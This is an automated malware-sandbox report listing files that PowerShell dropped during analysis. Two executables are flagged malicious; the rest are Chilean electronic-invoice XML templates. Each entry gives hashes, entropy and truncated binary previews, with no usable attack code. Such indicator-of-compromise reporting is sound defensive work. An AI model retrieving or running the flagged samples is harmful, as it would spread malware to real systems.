Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2010 Microsoft Corporation -->..<policyDefinitions xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <policyNamespaces>.. <target prefix="wwansvc" namespace="Microsoft.Policies.WwanSvc" />.. <using prefix="windows" namespace="Microsoft.Policies.Windows" />.. </policyNamespaces>.. <resources minRequiredRevision="1.0" />.. <categories>.. <category name="WwanSvc_Category" displayName="$(string.WwanSvc_Category)">.. <parentCategory ref="windows:Network" />.. </category> .. <category name="NetworkCost_Category" displayName="$(string.NetworkCost_Category)">.. <parentCategory ref="WwanSvc_Category" />.. </category>.. </categories>.. <policies>.. <policy name="SetCost3G" class="Machine" displayName="$(string.SetCost3G)" explainText="$(string.Set

C:\Users\user\AppData\Local\Temp\file\Set-up.exe

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1909504
Entropy (8bit):	6.730805689885005
Encrypted:	false
SSDEEP:	49152:GpjwrP6yVgBd39sUUzFti4aTotmIT3SxLmNKbx:GpjwrP6yKTOUmi4aTo1NK9
MD5:	098AC4621EE0E855E0710710736C2955
SHA1:	CE7B88657C3449D5D05591314AAA43BD3E32BDAA
SHA-256:	46AFBF1CBD2E1B5E108C133D4079FADDC7347231B0C48566FD967A3070745E7F
SHA-512:	3042785B81BD18B641F0A2B5D8AEC8EF86F9BF1269421FB96D1DB35A913E744EAFF16D9DA7A02C8001435D59BEFB9F26BC0BBFA6E794811ABF4282ED68B185FE
Malicious:	true
Yara Hits:	Rule: JoeSecurity_DelphiSystemParamCount, Description: Detected Delphi use of System.ParamCount(), Source: C:\Users\user\AppData\Local\Temp\file\Set-up.exe, Author: Joe Security
Joe Sandbox View:	Filename: NPKpnpi8wd.exe, Detection: malicious, Browse
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L...s..d..................................... ....@...........................!..................@......................P....@...F......8................;......8"...................................................L...............................text............................... ..`.itext..P........................... ..`.data........ ......................@....bss.....g...............................idata...F...@...H..................@....edata..P...........................@..@.tls....L................................rdata..............................@..@.reloc..8".......$..................@..B.rsrc...8............*..............@..@....................."..............@..@........................................................

C:\Users\user\AppData\Local\Temp\file\WebUI.dll

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	7994880
Entropy (8bit):	6.703467388978353
Encrypted:	false
SSDEEP:	196608:L39zxBBmYeZ12U8Blc/OwDlcXus9Y0SJsv6tWKFdu9CZ:Jzx6YeZ12TBlc/OwDlikJsv6tWKFdu9C
MD5:	A29A218642F0024D9061DF45EA1BAE07
SHA1:	3A97711C99DAD00AE86BE55EDAB74912F9BE55AD
SHA-256:	74DC92EFC8279B770319549E818BBB5DF711121E7EB9C7A0D54B4FF74D08D037
SHA-512:	B55235CA3CAF48A29A4CC1743BB8AA580EF8248B3999BE29FC82097C22A68CED12F813BEF6BE46765651B478616DA1D4704D36A4581A04B40CC048E220647390
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$............uF.uF.uFs..F.uF...F..uF.c.F.uF.c.F.uF.tF..uF...F..uF...F.uF...F.uF...F.uF...F.uF...F.uFRich.uF........................PE..L...A..R...........!.....^U..@%.......J......pU...............................z......nz...@..........................vq......Tq.......t.......................t..E...wU..............................gn.@............pU.D............................text...`]U......^U................. ..`.rdata..+....pU......bU.............@..@.data...H.....q..z...lq.............@....unwanted.....t.......s.............@..@.rsrc.........t.......s.............@..@.reloc........t.......s.............@..B........................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\file\ffjq

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	45465
Entropy (8bit):	4.746200461594161
Encrypted:	false
SSDEEP:	768:uCJvT9eee7FvH7g0LAltfyP1nBeFV+DFHFjoNk5Bpfm0VQWCS6e9ml91kA7e9Xx5:HheckYIjc+DTQZegext/D
MD5:	55FDC73A2152B6BC79BF4939121EBA2D
SHA1:	837A7C437C6831E64E6469FEC76CC68FBCCDC50D
SHA-256:	2C230D7E8F82A45DED81AF02648744876B6F979854794C0E854F328F09913E30
SHA-512:	FF072B92427F75896D407EE07E223E692B0E8DFF45A8B05C53CFF9CE5B4C32E1BC6D106405E8370951B4CBF72BBC5601792C691AD83310A8D0674CAE2608F27A
Malicious:	false
Preview:	.jLmg...SM.NYi.....f..X.sB.m.mE.^hv..p.^.HP...W...M....V.we......O.PR.G]]]R.\y.....m.a..C.PC..[.Iorv..no..sQ..ai.cRAn.....R.nJMu..S.T..B.oL.nZFrJ]..\.TEON.....V...i.Lc....a.E....hQ......A........PX..]..rRh]yq.._W..C...WOk.......hq.......o.a...lu...qRqldiX.bb.dr.c..G.oP.mo...L....`g..].Oa...lc.N.U....iY..ac.t.DUh.Rko[iA.E..M.m.o.wj.TOdr...RQ...I..l..L.......\.d.qEWH...u_..EkJl....`...v..i.sG.Lj....tt.Xx..m.V.Rk..EY.X_..rSfV[.]v\JK...bNW.......v.bYM.q..iy..Zt].P.yr.....]...P..e....K...`]...n.....aD....y.eA..Le.g..]EL[N......i.On\.bgR.LUn....KTm.Wd.Xs..J.....^..........Bu.b.^..i..]....QT....^..H.qn_Tf....x...`......xb..BDA..en...N...jP..u.K..q.sSaU.J..S..V.s....Eg.........TIkaV..Pvd[S...a.td.wK\.v....Jsd..^.qewEu..t........_e.Y.......^.a...c...s.i.V.]...rGf...EENOH.`ARvfp.IwED.qZ.tA..C..O......Q.T..R.k..U..by.C.Z.Q.R.i..DAn.G.qV..[..B.s..k.D.....v.`pv.X]..Kq..rV.._R.C..J...P.m.jYS.pCK..p...x..eDlGG..MOW.e...].......YC.A.gKu.]^e.......D..r..V.B..S.nm.ZAwW...DD...CxT.h.bK.JB..E.Qx.J._...Ep.

C:\Users\user\AppData\Local\Temp\file\hdyewq

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	912910
Entropy (8bit):	7.907574092085168
Encrypted:	false
SSDEEP:	12288:GXLlXd3UP/mD+fvDp0/Xmvmfc6RE54nM75z0CCDYKh3WnI1JpwWo9gi6UFBkWA:GbJdO++HtAXCmLMdzCMXI1/wH9s0ur
MD5:	4A07A96AE0037AFAB7CDFD09F2CDAAE6
SHA1:	F6E663E59A503073DE110A5E5D056DC497183E28
SHA-256:	BDC0059EF771DC3951E2FA54AB56B3607A539D6C62AAF63934DDADCCA14B3FCE
SHA-512:	20EE6637465120E5A818C931C32994BB2A00B9ECE6702C31B1E59BA2E38DD4232453CDD1A2FFF88A81E21FDA2525C407E5632B3DC7C45BC15AD253CD27ECCF4E
Malicious:	false
Preview:	.Yyhwi`.h.TBe.wI.......Uv.p.L.jr.X.C.wOC...A..xcUB]m..........Ng]hQ....Ytft.r..Gd...Mh...H.j.S.j.....Q..C...a...V..].Q......pr....JHIu.A]nqH.Vd.J....S.a..l.Xxa...b...SP[.....fTdTiB.c.ZrNW.l.Vf....D\qau...Z...I.e..Foq..I...q...^S....N....q.JN..r.f..L..ium.CyJA.Llf.`iRj.A.R..qTk.E.m.ju.`.]wdu.J._.....cu.C.w...Cj.o.pj.joWK`F[.W..Ox.WZ.SPd..R....vR...\ix...d[DM.Jo.jC.]..jVd.]Gm..y....Yw...Q^..Z^.v.iJ.[v.oc...........BDu`E.n.Vp[...iB.c...It..qm.Za.K.rBZ.rX..j[N.t.N..C....au.MUEXXCZgev.L..B.dv.p...t.cC]..^p..VtgD.mM...L..._..dTFLa.apPPP.BP..B..jpF..`.e..ZC.cD.jv.QZ.C^W.iMP..bQ.kx.c....].A.u..by.Xya.r.h...sa.XK]BBx...n....eDH...Y..L.......tBD.v.T.J.e........upI...u.sse..l.W...d.la.^C].e_.Z..R.EXFqB]^O..svg...Mh.dA.......C...PL...t.D..P.[Bn_..Kah.t...l\.H..m.....yE.C^..e.....Mqd..AP.E.YC..s..b.v.AKW.gp...Tl..S.HRC.INlq]N.cLuY.nY.H.q_.JG.UWDoG...L.g..l.UX.Gd....R.t..CSpqN..`Sl.q.liB......UiZav..D.Pk..q...k....kM......Vgh_x..ld..tAmd..eXm.QD..i.I.L....x.^.Gb_TUG..cdq.NW^._plI`l.s.O...P..HS.[.O.U

C:\Users\user\AppData\Local\Temp\file\resources.pak

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	5113668
Entropy (8bit):	7.996610650988207
Encrypted:	true
SSDEEP:	98304:b6zN1Kt66I0+1Yk93pPVrXh188CYCUrwr1ISgMRQK8nXCpGm5vEybt:+zjKt66bGVrhm8hCUkrGsyCV5vXbt
MD5:	DF15387BF046715CC592A690DA33E4B1
SHA1:	AD93B08DFF82CBD894F6A0A9733C70D7E564113D
SHA-256:	11D0F55C105883D203137A87A610BA793299DC4774FD6D8B3A86666A2C337041
SHA-512:	71244553D7B1B559FCAAA059622C340D22148BD5324FA3F6730D37322025DBFE5E853948B49B91DB6022A25BCA4DDBAB8FE6EE1522A461963DFBA04A7C93D69A
Malicious:	false
Preview:	............f.....h..&.....&.....&..........0.....0.....0.....0...0.0...0,9...0.;...07M...0nV...0.^...0.`...0Wg...0.i...0.l...0.l...0.n...0.o...0.p...0.u...0Yz...0.....0l....0.....0i....0.....0g....0.....0....0%....0e....0.....0.....0<....0.....0.....0K....0.....0\....1\|....1y....1.....1.....1H3..(7Q6..-7.A...7.B../7.E..07uJ..17)T..27.U..37.W..47Al..57.q..670...77...87....97^...:7....;7....<7....=7....>7....?7....@7Z...A7....B7\...C7....D7....E7....F7....G7....H7....j7Z...k7....l7....m7J...n7....o7....p7....q7....r7.,..s7.7..t7.d..u7xl..v7N...w7g...x7w...y7#...z7....{7....\|7[...}7...~7w....74....7.....7....7.....7.....7....7....7W....7g....7$....;f....;.....;.....;.....;I....;W....<Q....<,....<.....<.....<.....<Q....< ....<.....<.....<.....<2...<.5...<.k...<{p...<.x...<O....< ....<.....<.....<.....<....<.....<.....<l....<.....<Q....H.(...H.-...H.2...H.3...H.7...H.J...H.S...H.V...HaY...Hoa...H.f...H.l...H.v...H.\|...H?....HT....H.....H.....H.....Hk....H.....H.....H2....H.....H..

C:\Users\user\AppData\Local\Temp\file\x64\Templates\Caratula.xml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	270
Entropy (8bit):	4.780495001931742
Encrypted:	false
SSDEEP:	6:22NEmcNVUsO4PXOer+wbbabo86B4bZqkxe/4DPSXP/szI1Mvn:2MqNiXFeNQAB4s4E4r6/szAMv
MD5:	ED0EA91F915E39BEDDE510DADBE92012
SHA1:	AD67D45B26849AC90171AF3A0CD4FC6421E4AFEC
SHA-256:	65698FEF2B022EE7200505362132E123B7A2A4D8CD05E30EAFD2D048E9B3081A
SHA-512:	6C3A77FFACB0735C4539939767D2FBC8DA48C729A86D182FE39643264F69087FD095FD6621DC5A8CFE4BA92030354F3D96761D60DF6107ED09419EF6C4611233
Malicious:	false
Preview:	<Caratula version="1.0">...<RutEmisor></RutEmisor>...<RutEnvia></RutEnvia>...<RutReceptor></RutReceptor>...<FchResol></FchResol>...<NroResol></NroResol>...<TmstFirmaEnv></TmstFirmaEnv>...<SubTotDTE>....<TpoDTE></TpoDTE>....<NroDTE></NroDTE>...</SubTotDTE>..</Caratula>..

C:\Users\user\AppData\Local\Temp\file\x64\Templates\CaratulaAEC.xml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	229
Entropy (8bit):	4.5770659889039305
Encrypted:	false
SSDEEP:	6:22NhO6/Om9LlywmlAZyQly4RlAZaS+zZO86WKI1b:2MhOEEwmGy4/U+MbWKAb
MD5:	17A7D5E0030CB26148276F8BC67013EC
SHA1:	BFFD5A2EDE1FFEFA1B151F7DABD584BDD05EDB76
SHA-256:	0BB675F131E18091136D9A5C804346A248C27FCDE741CCA15BBEC705502BFDF3
SHA-512:	BBCC89C75602B425A3CD02BEFE8EB9E6F9B200CB1F242ABD3D5C21E8184FC21CFE5E141128B44D07193192F3FB60E546111E908F91BCA634066696DC91405682
Malicious:	false
Preview:	<Caratula version="1.0">...<RutCedente></RutCedente>...<RutCesionario></RutCesionario>...<NmbContacto></NmbContacto>...<FonoContacto></FonoContacto>...<MailContacto></MailContacto>...<TmstFirmaEnvio></TmstFirmaEnvio>..</Caratula>

C:\Users\user\AppData\Local\Temp\file\x64\Templates\CaratulaLibrosDte.xml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	212
Entropy (8bit):	4.679761096062384
Encrypted:	false
SSDEEP:	6:2MvsOENdutBK8bAsZ1b9sZO9OvqMyrKLyI1b:2MNUopUoXwvqdrlAb
MD5:	9001B3E776632B65E7425F90E5D1BBB2
SHA1:	3D563826C38AE80F760215E86F725182B40F1470
SHA-256:	9116A791F8E1A61D883772B1B97B1520071D3DC4724C930621C11BFFFDC66D0B
SHA-512:	C5B5F7F1E7188B162ADD3E1AA058F4C7FD94CB0B3469A6E4F2137A566FA57B507AFA5E36647089AFE3B8B982F6760CC6DCC743922F746F6A59D9FEAD06A116D2
Malicious:	false
Preview:	<Caratula>...<RutEmisorLibro/>...<RutEnvia/>...<PeriodoTributario/>...<FchResol/>...<NroResol/>...<TipoOperacion/>...<TipoLibro/>...<TipoEnvio/>...<NroSegmento/>...<FolioNotificacion/>...<CodAutRec/>..</Caratula>

C:\Users\user\AppData\Local\Temp\file\x64\Templates\ConfigComplementos.rpt

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.1, Code page: 1252, Revision Number: 10, Total Editing Time: 48:06, Last Saved Time/Date: Tue Oct 3 14:59:00 2017, Create Time/Date: Tue May 30 17:43:41 2017, Number of Pages: 1, Number of Words: 0, Number of Characters: 0, Name of Creating Application: Crystal
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	2.623472698591496
Encrypted:	false
SSDEEP:	192:lZ7LAfF3MwMlGM1M4MxM7MEZg7Bv4dOmYwcXBmwTEowvrM2mVhG2q+Xa0cWIQr:30SZg7J4oBwcXBvgoCY2m3S
MD5:	F5E0F49448C961D00F5E1FB5ABABAF60
SHA1:	9683C793075368ECF3575D8D4E4571BE1A021B1D
SHA-256:	3F95F256B75C853FF5FA9B5133903D6A7D99A0589B3FD72FB2F9E76DC672BE82
SHA-512:	E8798587ED0964654A77D42C4E49F62D3F781C49A07728C7161CA59854F8428336A122B914926FD42138AC3F487C1990F996B785574A75C5DA62394381E5177E
Malicious:	false
Preview:	......................>.......................\..........._...............].......................................................................................................................................................................................................................................................................................................................................................................................................................................................S.......N............................................................................................................... ...!..."...#...$...%...&...'...(...)...*...+...,...-......./...0...1...2...3...4...5...6...7...8...9...:...;...<...=...>...?...@...A...B...C...D...E...F...G...H...I...J...K...L...M.......O...P...Q...R...T.......U...V...W...X...Y...Z...[...............................................................................................................................

C:\Users\user\AppData\Local\Temp\file\x64\Templates\DTECompraInt.xml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	6287
Entropy (8bit):	4.827706896310135
Encrypted:	false
SSDEEP:	192:TWtB9RPxxioLPkbFDjn5ozNKNmg9CJ1sos/bVMZa/1ZBD9B:TuKN0w9ZTSa9B
MD5:	C597931D5C184AA1BF329FCF149513FC
SHA1:	0FBECA0172E9A38D7D47F76254048C0A70C23DA2
SHA-256:	C874332154350BE38F1B8116C876C0535FCB7BE1816595E64C915E3A4563FEE9
SHA-512:	BD7F7464978DD17AC36D131B054CA956C66DE091FF5283EADE6A9AA83AE1C6ACFCDA66E8374E9D5E697725E26F26035FBC93191B79455FC8F4142A46D5AC5CAB
Malicious:	false
Preview:	<DTE version="1.0">...<Documento ID="">....<Encabezado>.....<IdDoc>......<TipoDTE></TipoDTE>......<Folio></Folio>......<FchEmis></FchEmis>......<IndNoRebaja></IndNoRebaja>......<TipoDespacho></TipoDespacho>......<IndTraslado></IndTraslado>......<TpoImpresion></TpoImpresion>......<IndServicio></IndServicio>......<MntBruto></MntBruto>......<TpoTranVenta></TpoTranVenta>......<FmaPago></FmaPago>......<FmaPagExp></FmaPagExp>......<FchCancel></FchCancel>......<MntCancel></MntCancel>......<SaldoInSol></SaldoInSol>......<MntPagos>.......<FchPago></FchPago>.......<MntPago></MntPago>.......<GlosaPagos></GlosaPagos>......</MntPagos>......<PeriodoDesde></PeriodoDesde>......<PeriodoHasta></PeriodoHasta>......<MedioPago></MedioPago>......<TpoCtaPago></TpoCtaPago>......<NumCtaPago></NumCtaPago>......<BcoPago></BcoPago>......<TermPagoCdg></TermPagoCdg>......<TermPagoGlosa></TermPagoGlosa>......<TermPagoDias></TermPagoDias>......<FchVenc></FchVenc>.....</IdDoc>.....<Emisor>......<RUTEmisor></RUTEmisor>

C:\Users\user\AppData\Local\Temp\file\x64\Templates\DTEReportes_.xml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	4.64166159992953
Encrypted:	false
SSDEEP:	24:Fq12ODB/kOlqTnpLU/MU91+i+oi4B0qqv:w1M1L172Ev
MD5:	755153E215B08A2984BB6874BF929B7F
SHA1:	F40E5E944696D4F00409A7888C4458E670C6CFB9
SHA-256:	06D1DB7E20D7F5588B3876C05A31C4057B8544406E6410B994D9974ECF3CF210
SHA-512:	C61C2D6734048FDE90952252BC478069374C16C5FD8D9D5A7C8ED554E55B6186B4A7F8FD4467621420CDCD0450579E3419A70E7E93CEB99E12E0B96C7C1367F2
Malicious:	false
Preview:	<CONFIG.RPT>...<CONFIG>....<Reporte>.....<TipoDte>033</TipoDte>.....<Nombre>Factura_CF.rpt</Nombre>....</Reporte>....<Reporte>.....<TipoDte>034</TipoDte>.....<Nombre>Factura_CF(Exenta).rpt</Nombre>....</Reporte>....<Reporte>.....<TipoDte>043</TipoDte>.....<Nombre>Factura_CF.rpt</Nombre>....</Reporte>....<Reporte>.....<TipoDte>052</TipoDte>.....<Nombre>GuiaDespacho_CF.rpt</Nombre>....</Reporte>....<Reporte>.....<TipoDte>056</TipoDte>.....<Nombre>NotaDebito_CF.RPT</Nombre>....</Reporte>....<Reporte>.....<TipoDte>061</TipoDte>.....<Nombre>NotaCredito_CF.RPT</Nombre>....</Reporte>....<Reporte>.....<TipoDte>110</TipoDte>.....<Nombre>FacturaExp_CF.rpt</Nombre>....</Reporte>....<Reporte>.....<TipoDte>111</TipoDte>.....<Nombre>NotaDebitoExp_CF.RPT</Nombre>....</Reporte>....<Reporte>.....<TipoDte>112</TipoDte>.....<Nombre>NotaCreditoExp_CF.RPT</Nombre>....</Reporte>....<Reporte>.....<TipoDte>112</TipoDte>.....<Nombre>NotaCredExp_CF.RPT</Nombre>....</Reporte>......<Reporte>.....<TipoDte>046</Tip

C:\Users\user\AppData\Local\Temp\file\x64\Templates\DetalleLibro.xml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	884
Entropy (8bit):	4.916058905548224
Encrypted:	false
SSDEEP:	24:FwSWMvU7VXTNTSoKo2lOxZlpYo2M0Ib1aug51j9LC4C8CO2p:3lU7V5edrlClpYrMV1aVj9LRv6p
MD5:	878F702458D87EF7EEDCD43FA36A113C
SHA1:	058FA653F5330874470F780012119CFB5075494F
SHA-256:	6C3A1AB73D28FBF01DD133C9308CD9A748A9EEAA4781EFA95F76846838B7ACC0
SHA-512:	FAD388102D9E75E62C2362BA831C834009BEF7C06288285CE467BD949FEE47B5A7C7C0414F0362F56241A03ED1E2797B3958CEB2CCE97C32F258141B7A9CA65D
Malicious:	false
Preview:	<Detalle>...<TpoDoc/>...<Emisor/>...<NroDoc/>...<Anulado/>...<Operacion/>...<TpoImp/>...<TasaImp/>...<NumInt/>...<IndServicio/>...<IndSinCosto/>...<FchDoc/>...<CdgSIISucur/>...<RUTDoc/>...<RznSoc/>...<TpoDocRef/>...<FolioDocRef/>...<MntExe/>...<MntNeto/>...<MntIVA/>...<MntActivoFijo/>...<MntIVAActivoFijo/>...<IVANoRec>....<CodIVANoRec/>....<MntIVANoRec/>...</IVANoRec>...<IVAUsoComun/>...<IVAFueraPlazo/>...<IVAPropio/>...<IVATerceros/>...<Ley18211/>...<OtrosImp>....<CodImp/>....<TasaImp/>....<MntImp/>...</OtrosImp>...<MntSinCred/>...<IVARetTotal/>...<IVARetParcial/>...<CredEC/>...<DepEnvase/>...<MntNoFact/>...<MntTotal/>...<IVANoRetenido/>...<MntNoFact/>...<MntPeriodo/>...<PsjNac/>...<PsjInt/>...<TabPuros/>...<TabCigarrillos/>...<TabElaborado/>...<ImpVehiculo/>...<Liquidaciones>....<RutEmisor/>....<ValComNeto/>....<ValComExe/>....<ValComIVA/>...</Liquidaciones>..</Detalle>

C:\Users\user\AppData\Local\Temp\file\x64\Templates\DetalleLibroGuia.xml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	224
Entropy (8bit):	4.597174115033529
Encrypted:	false
SSDEEP:	6:FgjZWAI18Nn9V8soIu7pvR57OB2WMu4WORAGp/Ahb/obRVOb:FEZWAAg96soI4f1yBGp/AZ/ob4
MD5:	2199A087AA7C69753F3347F0C3EE579E
SHA1:	0427AEAC624B0D4423D6515A97CE49788E3016E8
SHA-256:	32E3346EDDA848734F26673C4E5BB09CDD915E95E171FE2A37AEAF171EC3C995
SHA-512:	06B0A92DF865D6557CEE430EB7A13B373E8E284A303D9EA9F4E9448263065D318CA00B411030E8BCAACB8AA4D2B3DF7E9DFB3BBAE4C27B89F644EBF9DAFE965E
Malicious:	false
Preview:	<Detalle>...<Folio/>...<Anulado/>...<Operacion/>...<TpoOper/>...<FchDoc/>...<RUTDoc/>...<RznSoc/>...<MntNeto/>...<TasaImp/>...<IVA/>...<MntTotal/>...<MntModificado/>...<TpoDocRef/>...<FolioDocRef/>...<FchDocRef/>..</Detalle>

C:\Users\user\AppData\Local\Temp\file\x64\Templates\Dte.xml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	6736
Entropy (8bit):	4.842599194492624
Encrypted:	false
SSDEEP:	192:TWtB9RPxxioLPkbFDjn5ozNKNmg9CJ1sos/bVMZa/1ZBBBHalM+pew:TuKN0w9ZTSi6l6w
MD5:	A37A9B5775B8986388123F198A61A2F3
SHA1:	D14062377D57053A1D3F1B61CF9B978C9F8BBE4A
SHA-256:	F95E2BD8D31A9DC5683FF65219AB14897C9BB62EF44848C19D551CEF20E3C72A
SHA-512:	33867FDF5EC1BB4D920043610E2B2B4A0233B1866A45FFC738FD654EE7224EAFB0D4EB9EB3207658EFA0CE6A7D0C01D10055C5F1573044EEB2BE44808DCE3E40
Malicious:	false
Preview:	<DTE version="1.0">...<Documento ID="">....<Encabezado>.....<IdDoc>......<TipoDTE></TipoDTE>......<Folio></Folio>......<FchEmis></FchEmis>......<IndNoRebaja></IndNoRebaja>......<TipoDespacho></TipoDespacho>......<IndTraslado></IndTraslado>......<TpoImpresion></TpoImpresion>......<IndServicio></IndServicio>......<MntBruto></MntBruto>......<TpoTranVenta></TpoTranVenta>......<FmaPago></FmaPago>......<FmaPagExp></FmaPagExp>......<FchCancel></FchCancel>......<MntCancel></MntCancel>......<SaldoInSol></SaldoInSol>......<MntPagos>.......<FchPago></FchPago>.......<MntPago></MntPago>.......<GlosaPagos></GlosaPagos>......</MntPagos>......<PeriodoDesde></PeriodoDesde>......<PeriodoHasta></PeriodoHasta>......<MedioPago></MedioPago>......<TpoCtaPago></TpoCtaPago>......<NumCtaPago></NumCtaPago>......<BcoPago></BcoPago>......<TermPagoCdg></TermPagoCdg>......<TermPagoGlosa></TermPagoGlosa>......<TermPagoDias></TermPagoDias>......<FchVenc></FchVenc>.....</IdDoc>.....<Emisor>......<RUTEmisor></RUTEmisor>

C:\Users\user\AppData\Local\Temp\file\x64\Templates\DteAEC.xml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	904
Entropy (8bit):	4.396078590343282
Encrypted:	false
SSDEEP:	24:SlGw04KPFryGzWCQDMom2gQPALoRTg0Go3T3vgUl/XzEvgrH9UP05TH3vgUl/X0O:wGw04KPFryQQD/m2gQ6oRTg0tj4Ul/Xd
MD5:	1F17C7B30E561DADC9E8C6E8C14FE967
SHA1:	925B42D7065C2C6E8C784ADE994C38B9C7F3544C
SHA-256:	17B4221B432C3A98AD89D2C0156D2F8B66C35BACD4C0906F7EC6F927D47107C7
SHA-512:	95639083A1040DB5857CA3C201D3935085E38D950763FD086A064277D92BA62BCEABED29391FB5438EFDBCCD354C5F741DC73955802CEA9FA909E295980F7F4B
Malicious:	false
Preview:	..<Cesiones>.....<DTECedido version="1.0">......<DocumentoDTECedido ID="">.......<DTE version="1.0">.......</DTE>.......<ImagenDTE/>.......<TmstFirma/>......</DocumentoDTECedido>.....</DTECedido>.....<Cesion version="1.0">......<DocumentoCesion ID="">.......<SeqCesion/>.......<IdDTE>........<TipoDTE/>........<RUTEmisor/>........<RUTReceptor/>........<Folio/>........<FchEmis/>........<MntTotal/>.......</IdDTE>.......<Cedente>........<RUT/>........<RazonSocial/>........<Direccion/>........<eMail/>........<RUTAutorizado>.........<RUT/>.........<Nombre/>........</RUTAutorizado>........<DeclaracionJurada/>.......</Cedente>.......<Cesionario>........<RUT/>........<RazonSocial/>........<Direccion/>........<eMail/>.......</Cesionario>.......<MontoCesion/>.......<UltimoVencimiento/>.......<OtrasCondiciones/>.......<eMailDeudor/>.......<TmstCesion/>......</DocumentoCesion>.....</Cesion>....</Cesiones>

C:\Users\user\AppData\Local\Temp\file\x64\Templates\DteExp.xml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	6297
Entropy (8bit):	4.82888014589633
Encrypted:	false
SSDEEP:	192:oXtB9RPxxioLPkbFDjn5ozNKNmg9CJ1sos/bVMZa/1ZBD9q:0KN0w9ZTSa9q
MD5:	8DFDBB8D1574995B637FD5F370C1957E
SHA1:	1C533B5A02934F14318FAEA113971ADCEE5FFAFA
SHA-256:	7EE7074A49D24DF9FB60E5BD744741B45E47F6FD981E0DC84442194A78121BDA
SHA-512:	7432C6A9BE85A175F9BA778C3066F928D009A15339FDC79C7DFB69D5BC48116B4784B75F72C871EB6F643B28F42935464A7294FA25776ED217F532647BAB4073
Malicious:	false
Preview:	<DTE version="1.0">...<Exportaciones ID="">....<Encabezado>.....<IdDoc>......<TipoDTE></TipoDTE>......<Folio></Folio>......<FchEmis></FchEmis>......<IndNoRebaja></IndNoRebaja>......<TipoDespacho></TipoDespacho>......<IndTraslado></IndTraslado>......<TpoImpresion></TpoImpresion>......<IndServicio></IndServicio>......<MntBruto></MntBruto>......<TpoTranVenta></TpoTranVenta>......<FmaPago></FmaPago>......<FmaPagExp></FmaPagExp>......<FchCancel></FchCancel>......<MntCancel></MntCancel>......<SaldoInSol></SaldoInSol>......<MntPagos>.......<FchPago></FchPago>.......<MntPago></MntPago>.......<GlosaPagos></GlosaPagos>......</MntPagos>......<PeriodoDesde></PeriodoDesde>......<PeriodoHasta></PeriodoHasta>......<MedioPago></MedioPago>......<TpoCtaPago></TpoCtaPago>......<NumCtaPago></NumCtaPago>......<BcoPago></BcoPago>......<TermPagoCdg></TermPagoCdg>......<TermPagoGlosa></TermPagoGlosa>......<TermPagoDias></TermPagoDias>......<FchVenc></FchVenc>.....</IdDoc>.....<Emisor>......<RUTEmisor></RUTEmi

C:\Users\user\AppData\Local\Temp\file\x64\Templates\DteLiqFact.xml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	6456
Entropy (8bit):	4.836224817189358
Encrypted:	false
SSDEEP:	192:OtBpRPxxioLPkbFDjn5ozNKNmg9CJ1sos/bVMZa/1ZBRBHal9Q:GeN0w9ZTSk6l9Q
MD5:	88CDDEC034BA3719DF804F490AA50345
SHA1:	193D26ECB7DFF613E67294EE86C14B02B24C2D96
SHA-256:	76D3F8A0292E528571EDE0259AECA627C46FCDFCE5EFB239B85047C279EA7318
SHA-512:	E1277ECFAE19976D61E8EABECC2DDC35394EE52B7151490C3549B2A510A157407D827F60F6A9FF2A2E6BD5BC5FA872DE9E2D2AD445B8B46954442330B367BA8F
Malicious:	false
